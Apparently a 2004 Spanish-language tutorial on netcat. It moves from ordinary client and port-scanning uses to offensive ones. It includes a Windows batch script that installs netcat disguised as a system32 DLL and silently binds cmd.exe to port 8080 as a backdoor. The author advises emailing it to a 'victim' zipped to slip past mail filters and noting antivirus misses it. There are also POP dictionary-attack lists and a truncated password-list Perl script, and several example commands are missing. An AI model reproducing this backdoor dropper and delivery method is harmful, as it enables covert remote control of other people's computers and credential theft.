Documenti di Didattica
Documenti di Professioni
Documenti di Cultura
Viktor Saver
viksaver@softhome.net
Abril 2004
Ha sido escrito únicamente con fines educativos del propio autor, y de cualquier
persona que esté interesada en conocer el programa descrito, y el autor no asumirá
responsabilidad alguna, ni civil, ni penal, ni de ningún otro tipo por el uso indebido que
terceros puedan hacer de la información aquí expuesta.
NETCAT
Netcat (nc ó nc.exe) creado por Hobbit (hobbit@avian.org) tiene una infinidad de
usos prácticos principalmente en redes, siendo capaz de realizar “casi cualquier cosa”
sobre el protocolo TCP/IP.
Se mencionan sólo algunos de los usos más conocidos, sin pretender abarcar la
infinidad de posibilidades con que cuenta.
Para conocer más acerca del programa, consúltese la documentación incluida con
el programa (README's, etc), y bajo Unix/linux, se podrá consultar además las páginas
del manual:
#man nc
#nc -h
CLIENTE TELNET
Es sin duda, uno de los usos más extendidos (si no el que más). Para conectar
directamente con un host remoto sólo hay que llamar al programa o comando nc,
especificando el nombre o IP y el puerto que se encuentra a la escucha en el host remoto
al que se desea conectar:
Nota para los no iniciados en Unix/Linux: El caracter "#" -o uno similar como $, %, etc- es el
prompt del shell en unix/linux y equivale al prompt "C:>" de la línea de comandos de MS-DOS en
windows).
Algunos puerto interesantes a los que se puede realizar una conexión son (Por
mencionar algunos de los más frecuentes, que serán los usados en este documento, para
ver una lista más completa de los puertos y sus respectivos servicios, consultar el fichero
/etc/services en Unix/linux):
PUERTO SERVICIO
21 FTP
23 TELNET
25 SMTP
43 WHOIS
53 DNS
79 FINGER
80 HTTP
110 POP
Pero se puede establecer una conexión prácticamente con cualquier puerto que se
encuentre abierto o a la escucha. Una vez conectado al sistema remoto, se realiza la
solicitud de datos del host remoto, que dependerá del servicio al que se conecte, pero en
muchas ocasiones, bastará con enviar un par de "Enter" para obtener algunos datos
interesantes.
#nc -v 192.168.25.2 80
GET HEAD HTTP /1.0
<CR>
<CR>
Después de la petición, hay que dar un par de "Enter" (<CR>, por “car return”)
para finalizar la petición, con lo que aparecerán los datos (encabezados HTTP)
mencionados.
Incluso podemos solicitar una página web completa por este método, conociendo
su nombre y ubicación:
#nc -v 192.168.25.2 80
GET /personal/index.html HTTP /1.0
<CR>
<CR>
Con lo que aparecerá en pantalla el código fuente de la página "index.html",
localizada en el directorio "/personal/", que sería equivalente a realizar esta petición
desde un navegador web como sigue: "http://www.hostremoto.com/personal/index.html".
También se puede usar para verificar si un servidor HTTP ISS (que se ejecuta
sobre un sistema operativo del tipo Windows NT) es vulnerable al bug unicode, con lo
que sería posible la ejecución remota de comandos en ese servidor.
Una de las ventajas que tiene netcat sobre el cliente telnet standard de windows o
sobre algunos clientes telnet de otros sistemas operativos es que es mucho más discreto
con la información que envía hacia el host remoto, (es más "sigiloso"), además, es un
programa de sólo unos pocos KB, y otra ventaja sobre los clientes telnet convencionales
(en Windows) es que se le pueden enviar ("redirigir") comandos desde un archivo de
texto previamente formateado, de acuerdo a la petición que deseamos realizar. Para ello,
se usa el caracter "<".
Por ejemplo, creamos un fichero que llamaremos "http.txt" con las siguientes
líneas:
Y listo, (Recordar que los "<CR>" son "Enter", y no se escriben...), ahora, sólo
redirigimos el fichero hacia netcat al abrir la conexión:
El siguiente ejemplo se puede usar para leer e-mail en una cuenta existente en un
servidor POP (Puerto 110). Para ello, creamos un fichero con los comandos a enviar (O si
se prefiere, se introducen los comandos directamente una vez conectados al servidor).
Lo llamaremos mail.txt:
USER nombreusuario
PASS contraseña
LIST
RETR 1
RETR 2
RETR 3
QUIT
Algunos otros comandos interesantes usados en el protocolo POP son: TOP, DELE,
STAT, NOOP, RSET, LAST, y algunos otros menos usados.
Hasta aquí, no hay prácticamente nada nuevo, todo (o casi todo) lo anterior se
puede llevar a cabo con cualquier cliente telnet Unix/Linux o Windows (telnet.exe,
putty.exe, etc), excepto la redirección desde y hasta ficheros (en Windows) pero se
puede conseguir haciendo algunas pequeñas modificaciones... -"log de conexión"- ).
Netcat puede ser usado también como un escáner de puertos, usando algunas de
las opciones (o argumentos) propias del programa:
También se puede realizar una verificación de los puertos UDP abiertos en el host
remoto agregando la opción "-u":
Por este medio se puede obtener la información de los puertos UDP abiertos con
relativa rapidez y eficacia, aunque netcat quizá no sea el mejor escáner de puertos, sí es
relativamente rápido y confiable, y tiene la ventaja de ser un programa muy pequeño,
que cabe fácilmente en un diskette de 3.5 para llevar a todos lados (en Windows, ya que
la mayoría de las distribuciones Linux lo tiene instalado de forma predeterminada).
ESCUCHA DE CONEXIONES
Otra de las sobresalientes ventajas de netcat, es que puede usarse para escuchar
conexiones entrantes en cualquier puerto especificado por el usuario. Esta característica
es lo que lo ha hecho una de las herramientas más utilizadas conjuntamente con muchos
shell-scripts y exploits.
Para escuchar en un puerto determinado, sólo hay que utilizar la opción "-l" para
escuchar por una conexión entrante, que terminará la ejecución del programa al cerrar á
dicha conexión, y en nc.exe para Windows está disponible también la opción "-L" para
continuar escuchando incluso después de cerrar la primera conexión remota,
permitiendo futuras conexiones sin necesidad de ejecutar nuevamente el script.
Además, hay que especificar el puerto en el que se desea “escuchar” con la opción
"-p XX" donde "XX" es el número de puerto deseado. En Unix/Linux se deben tener
privilegios de root si se desea usar puertos menores al 1024.
#nc -v -l -p 2424
Con este comando, se abre el puerto 2424, y cuando "alguien" (un cliente) solicite
una conexión a dicho puerto, aparece en pantalla lo que el usuario remoto introduce
desde el teclado (o desde la redirección de un fichero).
Este simple método puede ser utilizado como un rudimentario "chat" personal, o
como un sencillo "sniffer", ya que aparecen en pantalla todas los caracteres que el
cliente envíe, tales como comandos, passwords, etc..
Este método, con algunas sencillas modificaciones se puede usar para ejecutar
comandos en el "servidor" (shell remota), como se explicará a continuación.
SHELL REMOTA
Netcat, ejecutado con una sintaxis especial, puede proporcionar una shell remota,
con lo cual se conseguirá la ejecución de comandos en el host “vícitma”. Debido a ésta
característica netcat es frecuentemente usado como un "back door" (o como troyano) en
la máquina atacada, para facilitar accesos futuros al sistema.
Con lo cual, se lanzará una shell en el servidor donde se ejecuta el comando, con
los privilegios del usuario que lo ejecuta (Aunque también es posible escalar privilegios,
hasta llegar a root).
En el ejemplo anterior, se usan las opciones "-l" para escuchar la conexión en un
puerto ("-p") determinado por el usuario (Recordar que se necesitan privilegios de root
para abrir puertos menores de 1024, por lo que se recomienda usar puertos mayores a
este número, con lo que adicionalmente se consigue semi-ocultar el puerto abierto, ya
que muchos escáneres de puertos que sólo escanean puertos menores de 1024).
Al final se usa el caracter especial "&", para indicar que se ejecute la shell en el
"segundo plano", y tratar de ocultar un poco la ejecución, en caso necesario. A pesar de
esto, el proceso será visible con un "ps -u", o simplemente ejecutando "fg".
Un ejemplo de lo que se puede lograr por medio de este método es, subir al
equipo atacado otros programas que puedan servir como "back-doors", para facilitar
posteriores accesos al sistema, transferir exploits para elevar privilegios y conseguir
acceso root si aún no se tiene, ejecutar nuevamente nc para escuchar en algún otro
puerto, además de prácticamente cualquier cosa, como atacar a otros equipos, y que el
host "víctima" aparente ser el responsable, y todo lo que la imaginación permita.
@echo off
set system32=%windir%\system32
if exist %system32%\win32xp.dll goto run
if not exist .\win32.dll goto error
if exist .\win32.dll copy win32.dll %system32%\win32xp.dll > nul
:run
start /b %system32%\win32xp.dll -L -d -e cmd.exe -p 8080
goto end
:error
echo Falta archivo .dll necesario.
:end
Podemos enviar un e-mail a la víctima con 2 archivos: wind32.dll (que será netcat,
renombrado para "ocultarlo" o disfrazarlo) y "start.bat", que será el que lance a netcat
(si se hace de esta forma se recomienda comprimir los 2 ficheros con algún programa
como "winzip", ya que recientemente se han implementado nuevas políticas de seguridad
en algunos de los servidores de correo basados en web más usados, como hotmail, que
eliminan o restringen automáticamente el acceso a cualquier archivo adjunto con
extensiones .EXE, .BAT, etc.)
Una gran ventaja de este método, es que casi ningún antivirus detectará a netcat
(ninguno de los que el autor ha probado lo ha hecho), sin embargo, un firewall como
“Zone Alarm” o “Tiny Personal Firewall” detectará el intento de conexión entrante,
bloqueándola.
CRACKEO DE PASSWORDS
Netcat puede ser usado para intentar adivinar contraseñas en algún servidor,
para lo cual se usará lo que se conoce como “ataque de diccionario", en los que se
especifica una lista de palabras, que serán probadas como posibles contraseñas para
acceder a un servicio específico del host remoto (FTP, Telnet, POP etc.).
Si se desea verificar las contraseñas del servidor de correo del host remoto, sólo
se debe crear un fichero con los comandos adecuados, y usar las redirecciones para
conseguirlo. Por ejemplo, crear el fichero pop.list con las siguientes líneas:
user nombre1
pass password1
user nombre2
pass password2
user nombre3
pass password3
quit
Y ejecutar netcat, dirigiéndolo al host y puerto deseado:
Hay que tener en cuenta que muchos usuarios despreocupados por temas de
seguridad usan contraseñas muy fáciles de adivinar, siendo algunas de las más
frecuentes, el mismo nombre de usuario (en una gran cantidad de empresas es la inicial
del nombre real del usuario y el primer apellido) lo cual el autor ha encontrado más
frecuentemente de lo esperado, o el nombre real del usuario, apellido, o la fecha de
nacimiento, con lo cual se facilita enormemente el trabajo para algún usuario malicioso.
user martinez
pass martinez
user amartinez
pass amartinez
user bmartinez
pass bmartinez
user cmartinez
pass cmartinez
user dmartinez
pass dmartinez
user emartinez
pass emartinez
quit
Ahora, sólo hay que esperar a que termine la ejecución del programa, y revisar el
fichero “.log”, para verificar los resultados obtenidos.
El mismo método sería aplicable para otros servicios tales como Telnet, FTP, etc.
www.perl.com y www.cpan.org.
#! /usr/bin/perl
# Fichero que creará un listado de nombres para usar como passwords de
# POP3 con netcat.
# by ksaver, april 2004.
use Getopt::Std;
getopts(':w:h:', \%args);
@inicial=("","a"..."z");
if (!%args){&interactive;}
sub linecom
{
$namez=$args{w};
&main;
}
sub interactive
{
print "introduce un apellido: ";
chop ($namez=<STDIN>);
&main;
}
sub main
{
open (NAMEOUT,">$namez.nc");
Esperando que haya quedado bien explicado y que sea de utilidad, por esta
ocasión esto es todo, pero de existir alguna duda al respecto, se puede localizar al autor
en la dirección de correo electrónico que aparece al inicio del tutorial, y se agradecerá
cualquier tipo de aportación o comentario a propósito del mismo, opiniones, erratas, etc.